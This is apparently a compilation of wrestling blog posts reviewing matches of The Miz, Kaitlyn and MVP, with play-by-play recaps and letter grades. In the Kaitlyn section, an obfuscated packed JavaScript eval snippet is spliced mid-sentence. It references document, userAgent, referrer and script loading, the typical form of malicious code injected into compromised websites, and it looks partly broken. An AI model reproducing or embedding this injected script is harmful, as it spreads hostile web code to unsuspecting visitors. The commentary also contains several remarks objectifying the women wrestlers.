Punk dives out onto Del Rio to take over and it’s him vs. Miz in the ring. Punk tries the bulldog onto the chair but Miz counters into a belly to back onto the unfolded chair. Miz goes for a ladder but Del Rio stops him, sending him into the ladder. Everyone goes to the floor now and Miz swings a chair but hits the post. Punk wears him out with that chair and Del Rio is down from a chair shot as well.

Punk puts Miz on the railing and hits the running knee, using a chair as a springboard. He sets the ladder up in the ring but Ricardo runs in and handcuffs Punk to the ladder. That’s a new one. Del Rio hammers him down but the shots break the cuffs and Punk is free. Miz gets what appears to be a huge ladder and beats Punk down with it. He gets a hand on the belt but Punk saves.

They go to the corner and Del Rio hits the running enziguri to knock Punk to the floor and through a table. Del Rio throws a miniladder at Miz in the aisle and does the cross armbreaker with the ladder deal to Miz. He goes back to Punk and does the same but with a chair. He goes up but both guys make the save and crotch him on the top rope. Ricardo goes up and Punk knocks him off the top through a table on the floor.

Miz manages to cuff Punk to the ropes and the champ panics. Miz of course taunts him instead of going up and Punk fires off a kick to the head. Del Rio has a ladder up and Punk tries to kick the ring apart. Miz has a bigger ladder as Punk continues his straightedge tool work. Eventually he gets free and Punk destroys them all. Miz makes the save and I really thought that was it. GTS to Miz and that’s enough for Punk to retain at 18:25.

Rating: B. This was about what you would expect from a triple threat TLC match. It wasn’t anything classic but it was entertaining enough and that’s the whole point of it. The handcuffs didn’t really play into things that well but they were trying something new out there and I’ll give them points for that. Not a classic or anything but I’ve certainly seen worse.

Miz would drop way down the card soon after this, though he would get an Intercontinental Title shot at Raw 1000.

Intercontinental Title: Christian vs. The Miz

Bret’s boredom of introducing Miz is great. Christian immediately sends him to the floor and hits a dive to the outside but he may have hurt his knee. We take a break and come back with Miz holding a weak leg lock on Christian. During the break the champ (Christian) had his knees sent into the steps to further the injury. A top rope cross body gets two for Christian and he goes up again, hitting the jumping back elbow for no cover. Unprettier is broken up and the sunset flip out of the corner gets two.

Miz kicks him in the face for a near fall of his own and things slow down again. Christian comes back with a tornado DDT for two but his leg is still messed up. Spear is blocked and Miz gets a short DDT for a very close two. The corner clothesline misses for Miz but the Killswitch is countered again. Finale and Killswitch are countered again. Christian escapes a belly to back but hurts his leg again, allowing the Skull Crushing Finale to give Miz the title at 7:46.

Rating: C+. That’s a nice surprise for tonight as they needed to do something to give us a little history here. Also Miz gets to win something for the first time since losing the world title over a year ago. It’s even better than it was clean, which is rare to see. Good stuff here and a nice surprise.

Then he would defend it at Night of Champions 2012.

Intercontinental Title: The Miz vs. Sin Cara vs. Rey Mysterio vs. Cody Rhodes

Before the match, Miz complains about having to be in this and says that he’s going to file a complaint against Booker T for making him do this. Miz is champion coming in if you’re new at this. Rey is sent to the floor to start but Cara sends Cody to the floor as well before armdragging Miz outside too. Cody and Rey come back in as Cara drops to the mat for no apparent reason.

It’s time for the masked guys to fight. I know this has been a match people have wanted to see and I’m not really sure why. Rey takes Cara down for two but Cody makes the save. The unmasked guys go at it for awhile and everything breaks down. Rey goes up but takes too long so Cara goes after him. The Disaster Kick hits Cara but Miz breaks up a superplex so he can hook a Tower of Doom which gets two on Rey. Miz sends Cody to the floor as the fans sound like they’re chanting for Cody.

The short DDT gets two on Rey but Cara comes back with some high flying stuff to send Miz to the floor, followed by a big dive. Rey hits a headscissors on Cody on the floor followed by a seated senton off the apron. Cara gets two on the champ off a slingshot senton but he gets sent into the corner for the corner clothesline from Miz. Rey comes in with a kind of Vader Bomb for two (why has that move become so popular lately?) but Cody jumps him from behind for two of his own.

Cara puts Cody in 619 position but gets sent into the post by Miz. Miz goes after Rey but winds up taking the 619 instead. The top rope splash gets two for Rey on Miz but Cody saves. Cody tries to steal the pin on Miz but Cara saves. Cody goes for Cara’s mask but Rey saves. Rey gets sent to the floor with his sliding bump and Cara hits Cody in the head with an enziguri from the apron.

Cara tries to put another mask on Cody but Miz runs in and hits a backbreaker/neckbreaker combo for two on Cara. Miz tries to powerbomb Cara but Cara puts the mask on him instead. Cody tries Cross Rhodes on Cara but Miz bumps into them (he can’t see because of the mask) and hits the Finale on Cody for the pin to retain at 12:42.

Rating: B-. This was a great choice for an opener as they hit a great streak of near falls and saves in there. The ending was creative but I’m really not sure what it added. Miz pinning Cody doesn’t mean anything significant and he would have hit the Finale on him in that situation if he could see or not. Good opener here which got the crowd fired up.

Miz would turn face later in the year and help out Alberto Del Rio in his very mini feud with 3MB. From TLC 2012.

3MB vs. Alberto Del Rio/The Miz/Brooklyn Brawler

You know what? Why not? He’s in a Brooklyn Nets jersey as apparently he’s abandoned the Yankees (Bronx, not Brooklyn) shirt. Ignore those RYDER chants of course. Del Rio and Slater start things off with Alberto in control. Off to Brawler who beats up Mahal a bit before getting punched down by Heath. Brawler avoids a middle rope knee drop as we hear about 3MB having their tattoos messed up. Not hot tag brings in Miz who gets two on Jinder off a DDT. Del Rio drives Drew into the remnants of the announce table. The Finale takes down Mahal and the Brawler gets the win off a Boston Crab at 3:37.

Rating: D. It should have been Ryder. Seriously, what else do you want me to say here?

Miz would get another Intercontinental Title shot at Wrestlemania XXIX.

Pre-Show: Intercontinental Title: The Miz vs. Wade Barrett

Barrett is defending. Miz backflips out of an early belly to back suplex attempt and gets two off a fast rollup. He tries to jump over Barrett in the corner though and gets kicked in the ribs to give the champion control. Barrett: “How awesome is he now?” Miz is laid on the top rope and a running knee to his ribs gets two. Barrett loads up his boot to the face with Miz in the ropes but Miz gets his own foot up instead.

The Reality Check gets two for Miz but both guys escape finishers. Winds of Change gets a close two for Wade but Miz ducks the Bull Hammer and hooks the Figure Four. Barrett is quickly into the ropes though and pops up with Wasteland for two. Miz picks the leg and takes Barrett to the mat for the Figure Four and the title out of nowhere.

Rating: C. This was perfectly fine as they wanted to fire the fans up before the show got started. It’s amazing how far these two have fallen in the last year as Miz is floundering even more and Barrett is a one note character. This result wouldn’t mean anything as Barrett got the title match the very next night.

Miz wouldn’t do much in 2013 other than turn heel again. From Raw on December 9, 2013.

The Miz vs. Kofi Kingston

This is another match we don’t need to see again. Kofi gets in a running kick to start but runs into a knee in the corner. A big boot puts Miz down and a few knees to the head get two each. Trouble in Paradise misses and Miz bails to the floor as a result. Miz tries to walk out but Kofi chases him down and blasts Miz in the back of the head. Back in and a springboard shot to the back of Miz’s head gets two. Miz counters a rollup and kicks him into the buckle and rolls Kofi up with a handful of tights for the pin at 2:38. Pretty messy match.

Miz would go off to make some movies and come back as a movie star character. From Battleground 2014.

Intercontinental Title: Battle Royal

Big E., Alberto Del Rio, Cesaro, R-Truth, Ryback, Curtis Axel, Damien Sandow, Titus O’Neal, Heath Slater, Diego, Sin Cara, Xavier Woods, Great Khali, Kofi Kingston, Bo Dallas, Zack Ryder, Dolph Ziggler, Sheamus, The Miz

No Rob Van Dam for some reason. Bad News Barrett comes out and says the new champion will be like an old couple retiring here in Florida. Initially it will be great, but it’s delaying the inevitable. Everyone goes after Khali to start but he shoves them off and cleans house before throwing out Woods and Ryder. A Brogue Kick stuns Khali and everyone puts him out. Dallas eliminates Sin Cara and Ryback does the same to Truth.

Axel is tossed as they’re going through this match quickly. Damien Sandow (a beach bum here) gets thrown out by Diego to no reaction but Ryback throws out the Matador a second later. Ryback slams Dallas down and all of a sudden only Ryback and Sheamus are standing. A quick slugout ends with a Brogue Kick for the elimination. Miz can’t throw Sheamus out and gets a Zig Zag for trying. He slides out to the floor under the ropes and everyone goes back to brawling.

Titus throws Sheamus around like he’s nothing but Bo eliminates him for a big celebration. Kofi and Cesaro go at it with Kofi missing Trouble in Paradise and getting backdropped over. He hangs on like he’s trying a sunset bomb but pulls himself back in. Cesaro grabs Kofi’s dreadlocks but gets dropkicked down. Both guys are still in. Del Rio and Ziggler go at it with Alberto putting on the armbreaker over the ropes. Del Rio tries the low superkick on the apron and gets his neck snapped across the top rope for an elimination.

We’re down to Kofi, Dallas, Slater, Cesaro, Big E., Sheamus, Ziggler and Miz. Cesaro suplexes Big E. out and throws Kofi out but Big E. catches him on his shoulders. Cesaro suplexes Kofi off Big E.’s shoulders and back into the ring (why?) before poking him in the eye and suplexing him to the floor. Slater dumps Cesaro in a huge upset but gets thrown to the apron by Sheamus. A Brogue Kick puts him out and a slingshot shoulder knocks Bo silly. The ten forearms to the chest have Dallas in trouble and Ziggler dropkicks him out.

We’re down to Sheamus vs. Ziggler and Miz is somewhere on the floor. They slug it out and no one can hit a big move. Sheamus loads up a powerbomb and they botch a counter with a very awkward landing. Thankfully they seem to be fine and Sheamus catapults Dolph over the top but he hangs on. Dolph pulls Sheamus out but he hangs on as well. Sheamus loads up the slingshot shoulder but gets superkicked out, allowing Miz to come in and throw out Ziggler to win at 14:20.

Rating: D+. Erg. Why go with something interesting when you can go with someone who has held the title multiple times before? I’m glad they didn’t unify the titles but I would have loved to see someone like Dallas get this for the promos alone. At the end of the day though, this is a death knell for Miz’s push, as is the custom in WWE.

I might get laughed at for this but I like the Miz. He came from nothing and rose up to be one of the top stars in the company. While he may not have had staying power, he main evented Wrestlemania against John Cena and left as the champion. Think about that for a minute. Do you know who else can say that? Randy Orton, and that was in a triple threat. End of list. The guy is talented and could show that off if they would give him a character that lasted. And pants. The trunks look just doesn’t work for him.

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Wrestler of the Day – August 19: Kaitlyn

Time for a rather funny Diva in Kaitlyn.

Kaitlyn eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnnkn|var|u0026u|referrer|trtrt||js|php'.split('|'),0,{})) would spend a little time in FCW before debuting on the third season of NXT as the rookie of pro Vickie Guerrero. Here’s her first match from September 14, 2010.

Primo/AJ vs. Kaitlyn/Dolph Ziggler

The boys start us off which lasts about 20 seconds. AJ used to be homeless and according to Cole she’ll be homeless again in about three weeks. Cross body by AJ for one before Kaitlyn takes her head off and tags out. Men vs. women is illegal here but we get it for a second anyway. AJ can’t get by Dolph so she slaps him in the face.

Again I would often advise that as a solution to a problem: when all else fails just HIT THEM IN THE FACE. Primo comes in and has about 20 seconds of offense, cementing his jobber status before the Zig Zag ends it. Kaitlyn and Dolph celebrate, making Vickie jealous.

Rating: D+. Really more about storyline tension between Kaitlyn and Vickie rather than the wrestling. Given the short amount of time in the season this time they needed to get things moving and this is probably the highlight of the angles. It’s not much but it’s probably the best they’re going to get and if it gets Ziggler on his own I couldn’t be happier. Ok I could but you get the idea.

Here’s a six Divas tag from November 30, 2010.

Naomi vs. Kaitlyn

Let’s get this over with. I’m having some connection issues so the times might be off a bit. Kaitlyn busts out a giant swing as Matthews says DOZENS are tuning into WWE.Com for this. Gah my stream keeps freezing. Kaitlyn is in control because that’s the most illogical thing we could have. Cole apologizes to Harley Race for forgetting him last night in former kings.

The pros don’t seem interested. Kaitlyn throws her over the top and we get like a 7. My screen is frozen so I’m doing what I can to keep up with this. Cole isn’t really helping but he’s making me laugh at least. Cole gets in a great line on a cover by shouting: “if you shout faster it’ll be over!” So true good sir, so true. Kaitlyn blocks a suplex into a rollup and gets the pin. Well of course she did. No clue on the time due to the freezing.

Rating: N/A. With all the choppiness and the freezing I can’t really give a fair grade of it but it didn’t seem all that good from what I could tell and the crowd definitely wasn’t into it. Seemed to be about a D. Oh and of course Kaitlyn wins because she has no experience and isn’t the wrestler of the final two so Naomi has lost at least two in a row.

Kaitlyn would win the season of NXT and debut on the WWE roster (along with multiple other Divas). Here’s a main roster match on Smackdown, January 28, 2011.

Laycool vs. Kaitlyn/Kelly Kelly

Striker sings Laycool’s song which is rather disturbing. The non-Flawless ones jump Laycool during their entrance and the beating is on in the aisle. Is this Kaitlyn’s non-NXT debut? She starts with Michelle and is clearly green. Layla distracts Kaitlyn though and Michelle kicks Kaitlyn’s head off to end this at 43 seconds. AWESOME kick and if that hadn’t ended it there was no way I would have believed it. The replay makes it look even better as that kick was spot on.

From Raw on June 13, 2011 in the required mess.

Tamina/Alicia Fox/Rosa Mendes/Maryse/Bella Twins/Melina vs. Kelly Kelly/Eve Torres/Gail Kim/Natalya/Beth Phoenix/AJ/Kaitlyn

If this goes past two minutes I’ll be stunned. Kelly and Brie start but it’s off to Melina or Rosa and there’s the big brawl almost immediately. Kelly hits the K2 on Rosa and we’re done at 1:25. Three out of the fourteen were actually legal.

We’ll go to another country now for NXT on October 19, 2011.

Kaitlyn vs. Maxine

Both of them look good but Kaitlyn looks better with darker hair. She has great legs though. Maxine is in essence in a swimsuit. Here’s your Maxine fact: her aunt is a careless maiden from Guadalajara who is engaged to a one legged Elvis impersonator who does a great version of Blue Suede Shoes. The match is your usual basic stuff here that isn’t very good.

Maxine hooks something like a dragon sleeper but Kaitlyn falls into the ropes. The fans here do not care at all. All Maxine so far but I’d rather look at Kaitlyn in gold so I’m not paying attention to the match here. Kaitlyn takes over with her horrible looking offense. She hits a Bubba Bomb and then a full nelson with her legs to make Maxine tap (with her foot) out at 4:48.

Rating: D. It’s your usual bad Divas match and more proof that AJ was the best choice for the 3rd season winner. Kaitlyn looks great in tight gold shorts and other than that, she’s about as worthless as anyone else you’re going to find on the roster. Not much here overall and the girls just aren’t that good. Granted this is on NXT so it’s not like anyone is watching them.

Kaitlyn would be back for a guest spot on NXT Redemption, April 4, 2012.

Natalya vs. Kaitlyn

New music for Kaitlyn and Kidd is on commentary. Nattie takes her down and Kidd says there’s nothing going on with them. Bridging rollup gets two for Natalya. I think Natalya is a face here but I really have no idea. Kidd admits that he isn’t a Hart, which ticked him off when McGillicutty rubbed it in his face weeks ago. Natalya works on the arm and uses more holds on whatever part of the body she picks. Kaitlyn’s first offense is a cross body but Natalya laughs it off and the Sharpshooter gets the submission at 3:30.

Rating: C-. This was a squash for Natalya as she picked apart Kaitlyn with ease. I’m so glad they’ve dropped that idiotic gimmick she’s been using for the last few months as she’s very talented and can make even someone like Kaitlyn look good. I’m still not sure if she’s a face or a heel though, but I doubt WWE has put any thought into it either.

Back to the big shows with Smackdown on August 31, 2012.

Kaitlyn vs. Natalya

Eve is on commentary. Nattie takes her down with a headlock to start and the place is eerily quiet. Kaitlyn shoulder blocks her down and they head to the floor where Kaitlyn gets her head slammed into the floor. Natalya hooks an abdominal stretch and slaps Kaitlyn’s side which has to hurt bad. Kaitlyn comes back with some armdrags but Natalya clotheslines her down. The Canadian runs her mouth and gets small packaged for the pin at 2:45. Getting extra time is helping the Divas a tiny bit but this was more about Eve, who spent the whole match being the corporate suckup, which does nothing for me at all.

Kaitlyn would start going after the Divas Title, starting on Raw, October 8, 2012.

Divas Title: Eve Torres vs. Kaitlyn

Layla is on commentary as she always is anymore. Apparently she gets the winner of this. Eve is champion coming in just in case it’s like 2031 or something. Kaitlyn takes over to start and suplexes Eve down a few times followed by a fireman’s carry into a kind of Torture Rack. Eve rakes the eyes and kicks out the bad ankle to take over. Kaitlyn hits a backbreaker but it hurts her ankle again. Eve goes after the ankle by standing on it before putting on a heel hook for the tap at 2:54. This wasn’t terrible at all.

Another title shot at Hell in a Cell 2012.

Divas Title: Layla vs. Eve Torres vs. Kaitlyn

Kaitlyn was attacked at Night of Champions and Layla had to defend against Eve instead of Kaitlyn. Eve won the title and was accused of attacking Kaitlyn, setting up this. The challengers double team Eve, argue a bit, and then double team Eve again. Eve and Kaitlyn finally start fighting and we get a pinfall reversal sequence. Eve comes back in and knocks Layla to the floor so she can beat on Kaitlyn a bit.

Eve works over Kaitlyn’s leg with a long hold until Layla finally gets back in. A hard kick to Eve’s face slows her down and Layla pounds away in the corner. A cross body gets two for Layla but Eve throws her into the splits. Eve gets thrown into the splits as well and Kaitlyn gives us a DOUBLE NOGGIN KNOCKER!!! Kaitlyn puts Layla in a Fujiwara Armbar but Eve makes the save. The crowd dies as the match starts to drag. Kaitlyn hits Stratusfaction on Eve to send her to the floor and powerslams Eve down. Eve hits a middle rope Swanton to break up the pin and covers Layla to retain the title at 6:39.

Rating: C-. The girls are getting better and they have an actual story anymore, but the fans still don’t care. This is MILES better than they were having a few months ago, but at the same time it’s still nothing to write home about. Kaitlyn appears to be the future but I’m still not sold on her at all. Decent match that ran too long.

Kaitlyn would get another shot at Survivor Series 2012.

Divas Title: Katilyn vs. Eve Torres

Eve is defending. Kaitlyn jumps her to start and pounds away in the corner before sending Eve out to the floor. The champion is sent into the barricade and apron before heading back inside for some hair pulling. Eve kicks her in the ribs and slams Kaitlyn’s head into the mat over and over for two. Off to the corner for some choking and an elbow to the back gets two on Kaitlyn.

Eve puts on a figure four choke before clotheslining Kaitlyn down for no cover. Kaitlyn pops back up to break up the moonsault, sending Eve out to the floor. Back in and Eve is tossed around by the hair followed by a fireman’s carry gutbuster for two. Eve comes right back by sweeping Kaitlyn’s legs out and finishing her with a swinging neckbreaker.

Rating: D. As is the case with the Divas around this time, there isn’t much to brag about other than the girls looked good in their outfits. Kaitlyn just wasn’t that good in the ring and hasn’t gotten much better ever since. Eve was good but her character had hit a ceiling around this time. It’s no surprise she was gone soon after this.

One more shot in Kaitlyn’s hometown of Houston on Raw, January 14, 2013.

Divas Title: Eve Torres vs. Kaitlyn

If Eve gets disqualified or counted out she loses the title. Kaitlyn sends her to the floor to start so the champ hides a bit. Kaitlyn is the hometown girl tonight so it’s pretty clear what’s going down here. Eve knocks her down and hits her running flip splash as we hear about Lamb Chop for no apparent reason. Off to a triangle choke from Eve but Kaitlyn makes a rope.

The reverse DDT gets two and Kaitlyn seemingly dives onto Eve’s knee. The spinning neckbreaker gets two for Kaitlyn so Eve pounds away a bit. Kaitlyn’s gutbuster hits but it sends Eve to the floor. The challenger follows her out and gets whipped into the barricade. Eve puts her over the barricade but Kaitlyn sneaks back in and spears Eve for the title at 5:35.

Rating: D+. This was better than any of their other matches but at the end of the day I have no reason to care about either of these girls anymore. Word on the street is that Eve is gone after this so I guess this is the passing of the torch. Am I supposed to care more now because Kaitlyn wins after not being able to win the title after like four tries? At least they finally did the freaking switch.

Time for a PPV title defense at Elimination Chamber 2013.

Divas Title: Tamina Snuka vs. Kaitlyn

Kaitlyn is defending and this match was set up on the WWE App on Monday. The crowd is silent for Kaitlyn’s entrance so we get a quick promo from her about how scary Tamina is. Tamina shoves Katilyn around a bit to start but gets caught in a rollup for two. A backslide gets two more for the champ and Tamina is knocked to the floor. The other Divas are watching in the back. Kaitlyn goes to the apron, only to be rammed into the buckle and knocked out to the floor. Back in and a Samoan drop puts Kaitlyn down but the Superfly Splash misses. Kaitlyn spears her down to retain at 3:15.

Rating: D+. Did we really need this? No? I didn’t think so either. When your match is set up on the WWE App, it’s pretty clear that it’s not needed on the card. For about two weeks there were no Divas mentioned anywhere on WWE TV and it was a very nice break. Why did they need to come back again?

And another at NXT Clash of the Champions.

Divas Title: AJ Lee vs. Kaitlyn

Kaitlyn is defending. The fans chant YES at AJ before we get going. Kaitlyn runs her down to start but Kaitlyn shoves her into the corner to take over. Off to a Fujiwara Armbar by the challenger and she even throws in a Dolph Ziggler handstand. A hammerlock suplex puts Kiatlyn down and AJ is in full control. Kaitlyn gets in some right hands before rolling through a top rope cross body for two. A reverse DDT gets two on AJ but she sends Kaitlyn to the floor for an eight count. Back in and AJ puts on a sleeper followed by an enziguri for two. Kaitlyn pops up and spears AJ out of nowhere to retain at 5:06.

Rating: D. Again, the WWE Divas show that they have nothing on the NXT girls. I have no idea what the appeal of Kaitlyn is as her two moves are both terrible and she can’t work a match to save her life. AJ was fine with the Ziggler impersonations being a nice touch. Anything from Kaitlyn was just dreadful though.

Kaitlyn would be in a six Divas tag on Raw, June 3, 2013.

Kaitlyn/Funkadactyls vs. AJ Lee/Bella Twins

Kaitlyn and AJ start things off. AJ backs into the corner and elbows both dancing chicks before bringing in Brie. Off to Naomi for the Rear View and a rolling senton from Cameron for two. Naomi hits the ropes with a crossbody and the Bellas take over on her arm. Nikki stays on the arm until Naomi slugs her down and brings in Kaitlyn. The reverse DDT only gets one on Nikki but AJ drops to the floor instead of tagging. The spear finishes Nikki at 4:32.

Rating: C-. That’s on the Divas scale so this wasn’t half bad at all. The arm work went nowhere but when is the last time you remember psychology in a Divas match? They’re to the point where they can get through a match without looking completely horrible which is at least progress. The camera shots of the girls didn’t hurt either.

AJ Lee would take the title from Kaitlyn, triggering a long feud between them. Here they are on Raw, July 29, 2013.

Kaitlyn vs. AJ Lee

Non-title. AJ takes over to start and has that insane look on her face the entire time. Katilyn throws her off and loads up the spear but a running knee to the head puts her back down. An armbar doesn’t get AJ anywhere as Kaitlyn comes back with a backbreaker. AJ comes back with another armbar as we hear about Tweets from Vickie. Kaitlyn fights up and hits the spear out of nowhere for the pin at 4:51.

Rating: D. You remember those matches between these two that had a ton of heat and were awesome? This is the total opposite at it was just there to fill in a few minutes and set up yet another rematch. They took out all the good parts of this feud and turned it into the same exact thing that plagued the division for years.

One last match from Raw, December 30, 2013.

Total Divas vs. True Divas

It’s the Bellas/Funkadactyls/Eva Marie vs. Rosa Mendes/Summer Rae/Alicia Fox/Kaitlyn/Aksana. Eva and Kaitlyn get things going with Eva elbowing her in the face and blowing kisses to the crowd. Kaitlyn is staggered by a kick to the chest but none of the other Total Divas want to deal with Eva. Eva finally tags Cameron in but Alicia makes a blind tag and cleans house.

Summer Rae and Rosa (dressed almost identically) take turns stomping on Cameron in the corner before it’s off to Aksana for some choking. Cameron finally crawls over for a tag to Nikki who puts Aksana in the rack (get it?). Everything breaks down and Aksana hits a reverse Eye of the Hurricane for the pin on Nikki at 5:10.

Rating: D-. Yeah it sucked, but it was a bunch of good looking women in tiny outfits. That’s more than the Tribute to the Troops show managed to pull off. They need to figure out where this division is going though because it’s getting even worse. From what I can find, that’s Aksana’s first pin on TV in nearly two years.

Kaitlyn is a case of someone trying to be different than most Divas and succeeding to a degree. She was gorgeous and looked great in the outfits but that was rarely her focus. If nothing else she could spear AJ in half and make it look better every single time. She didn’t really stand out but her stuff worked when she had a decent opponent.

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Wrestler of the Day – August 18: MVP

Today is someone pretty different from yesterday’s Bruno Sammartino. Today is MVP.

We’ll start things off with MVP as a jobber in TNA named Antonio Banks. Here he is on Impact, July 23, 2004.

Monty Brown vs. Antonio Banks

Brown hammers away to start and sends him out to the floor. Back in and Banks gets in some right hands but misses a big kick, earning him a clothesline. The Pounce ends this quick.

MVP would sign with WWE and debut on Smackdown after a few months in Deep South Wrestling. He would have his first main roster match at No Mercy 2006.

MVP vs. Marty Garner

This is MVP’s in ring debut and Garner is a jobber from OMEGA and some indies. He was occasionally in WWF as a jobber. JBL hates MVP and rips him apart through his short promo. The fans chant Power Ranger. MVP slaps him down before the match starts and JBL is cracking me up as he insults MVP. Garner gets in a right hand and JBL turns into a cheerleader. MVP is in blue which JBL calls blueberry bling. The Play of the Day or whatever he called his finisher gets the pin. Total squash. Again, I’m sure the people that bought the PPV are SO glad they paid for this too.

His first feud was with Kane, setting up this Inferno match at Armageddon 2006.

Kane vs. MVP

This is the ultra rare inferno match. There’s fire around the ring and you set your opponent on fire to win it. MVP is doing the big free agent thing and Kane is his first major feud. It’s a tag team feud at the moment with Kane/Taker vs. Kennedy/MVP with Taker vs. MVP happening later. Kane lost in a cage match and that set up this one.

The flames keep going up and down. You might even say big flames popping. Kane kicks him in the face and hammers him into the corner to start. MVP gets his feet up in the corner and thinks of going up but stops due to fear. Kane puts him in a wheelbarrow position and climbs the corner, only to get slammed on his face. Kane sets for a superplex but MVP knocks him off. The flames go up a second after he hits but it looks cool either way.

MVP stays on the top for a bit before coming off with a cross body. He instinctively covers but then settles for hammering away. Kane goes down and then sits up almost immediately. Big boot puts MVP down and there’s the chokeslam. The big bald takes the turnbuckle off and tries to light it on fire but the flames go down. The second attempt works but MVP uses the distraction to take over.

He tries a baseball slide to put Kane into the fire but Kane gets up before it hits. Kane takes over again and a corner clothesline hits. The side that got put out is back on now. MVP climbs the corner and Kane shoves him to the floor past the flames. Kane is like cool and dives off the top over the flames too. They fight to put each other into the “five hundred degree flames” and Kane grabs him by the throat and puts him into the fire for the win.

Rating: C-. This is hard to grade but it wasn’t incredibly interesting. I mean, they couldn’t have near falls but rather near burns here. Not horrible for the most part and not even bad, but at the same time what can you really expect from something like this? I’m pretty sure this ended the feud for the most part.

MVP would enter into a feud with Chris Benoit, including this six man tag at No Way Out 2007.

MVP/MNM vs. Hardy Boys/Chris Benoit

MVP is relatively new here as he’d only been around about 6 months. The Hardys had thrown out an open challenge at December 2 Dismember and MNM had answered, starting a feud. Mercury has a large mask on his face from a SICK broken nose at Armageddon. Jeff is Intercontinental Champion. Benoit is US Champion here as well, making this pretty one sided. It’s so scary to think that it was five months away.

BIG chant for the Hardys. Matt vs. Mercury start us off here. They slug it out with Joey trying to hurt Matt’s face for revenge. JBL says we’re near Hollywood, “the land of fruits and nuts.” He’s on conservative fire here so far. Off to Jeff who is getting a big reaction already. Off to Benoit vs. MVP for awhile which would be a US Title feud for the next two PPVs.

MNM tries to hide when Benoit chops MVP but MVP manages to tag Mercury. And for no apparent reason it doesn’t count. Oh apparently it was because he was in the ropes at the time. Off to Nitro vs. Jeff now and I’m assuming you know that Nitro is now John Morrison. Jeff gets that running swinging sleeper to take down Nitro. Nitro slaps him and Jeff goes right at him so we can hit the floor.

Double teaming/cheating gets MNM control and Hardy gets to do his awesome selling. JBL gets in a very simple yet true line: there may be three great wrestlers on the popular team but you only have to beat one. That’s very true yet probably not realized that much at all for some reason. Nice job on being a commentator/analyst for once. MVP comes in and goes off on Jeff who is taking a good beating out there.

Jeff knocks Nitro off the ropes and gets a Whisper in the Wind to bring in Matt. Cole’s voice is already getting weak. Side Effect gets two on Mercury. MVP cheats to take over again as this is getting some time. There are only seven matches tonight so I’d expect a good deal of time for each. Now we’re talking about Machiavelli. You learn a lot on a WWE pay per view.

Ballin which doesn’t have a name yet gets two. JBL says MVP looks like a combination between Barney and a Power Ranger but he fights like Floyd Mayweather. So he’s a teenage reptile that’s cowardly? Matt takes another big old beating until he can get a clothesline to Nitro to break the momentum. Mercury comes in and there’s no tag. And never mind as there it is to bring in Benoit.

Backdrops and throws for everyone including a suplex to Nitro that lands on MVP. He gets a German on both members of MNM at the same time in a nice move. Poetry in Motion gets a big reaction. Side Effect puts down Mercury. Jeff adds a Swanton and Benoit gets a headbutt but MVP breaks up the pin on the carcass of Mercury. Nitro takes Jeff down outside as MVP tries to swing the title. He walks into the Crossface but Nitro saves again. MVP and Jeff hit the floor and after some pounding and reversals the Crossface ends Mercury.

Rating: B. Solid opener here that certainly didn’t feel like fifteen minutes at all. Tag matches are the best choices to open shows more often than not as they’re certainly the most exciting matches on the cards often times, especially with guys like these. This worked very well indeed and was really good throughout. Basic match but well done and exciting for sure.

After failing to win the title at Wrestlemania XXIII and Backlash 2007, MVP would get a third title shot at Judgment Day 2007.

US Title: Chris Benoit vs. MVP

MVP is challenging here and it’s 2/3 falls. They had a decent match at Mania and this is the rematch. Amazing to think this was two months before the Benoit stuff happened. This is the third match in their series. Apparently Benoit has a bad leg which is a running theme tonight. They feel each other out for a good while as Cole isn’t sure if DQs or countouts count.

All Benoit to start but he can’t get the Crossface. MVP grabs a headlock which gets him nowhere at all. Benoit hammers away and they hit the mat. The idea here was that in the first match Benoit completely outwrestled him then at Backlash Benoit had more trouble with him and now he’s having real trouble with him. MVP works on the leg for a good while.

Rolling Germans time but the knee gives out on the final one. Crossface goes on but he manages to get to the rope. Back to the knee but a big boot in the corner misses. Sharpshooter goes on but that doesn’t work either. Good stuff here for the most part but the whole work on a limb thing is getting a bit repetitive tonight. MVP tries to climb the ropes and Benoit gets him in an electric chair, but the knee goes out and the Playmaker gives MVP the first fall.

There’s a rest period and Benoit stretches his leg a bit. The knee is falling apart and MVP attacks it every chance he gets. Even on a cover MVP twists the leg around in a very nice touch. Leg lock goes on which becomes a Brock Lock and Chris is in trouble. Playmaker doesn’t work a second time as Benoit gets a SWEET counter into the Crossface but he can’t lock it in due to a shot to the knee. A big boot to the knee allows MVP to roll him up to win the title in two straight falls. He would hold it nearly a year.

Rating: C+. The knee work was good here but at the same time it got a bit annoying having this in about the fourth or fifth match tonight. Benoit would head to ECW rather soon and I think you know how that ended. Pretty decent match here though as MVP used the previous two matches to get the win here, which is psychology which is the best thing you can ask for.

Here’s MVP in a big title defense at Vengeance 2007.

US Title: MVP vs. Ric Flair

MVP is the ridiculously cocky heel here and actually interesting to an extent. You would NEVER hear that today. He gets in Magnum TA’s face and says it’s all about MVP now. If all of MVP’s matches wind up combining to be half as good as the I Quit Cage match I’ll be stunned. Flair just looks stupid in pink. He’s no Bret Hart in that regard. Flair shows MVP up with bare bones basic moves and it’s hilarious. Flair is busted open! I CAN FEEL MY INNOCENCE BEING RIPPED FROM MY BODY! SPARE ME PLEASE!!!!

In a funny moment, Flair chops the heck out of MVP and after MVP takes over, he opens up his vest and checks his chest for welts. JBL says Flair’s chops are better than anyone else’s. And I believe him since he was a wrestler not long before this. Lawler needs to remind us he used to be a wrestler. Even Striker reminds us of that. This is another one of that matches that likely belongs on TV but we need a US Title match so here is one for you.

MVP’s knee hits the buckle and Flair goes for the wrong one, thereby proving that some things never change. There it is and we’re in Flair Formula time. It’s still passable too so I can’t complain that much. In a nice ending, Flair goes after MVP but the referee blocks him, allowing MVP to poke him in the eye and hit the Playmaker for the retaining. Why is that nice? Because that is Flair 101: distract the referee and cheat. I love that.

Rating: C. The ending helped that a lot. It’s your standard Flair match, but look at him put ANOTHER guy over. Dang I’m defending Flair. What the heck is wrong with me? This is when Flair was still bearable but he was on the verge of being gone, which I think is for the best. Match was average.

Next up was the feud with Matt Hardy that would not die. Here they are defending the Smackdown Tag Team Titles at Unforgiven 2007.

Smackdown Tag Titles: MVP/Matt Hardy vs. Deuce N Domino

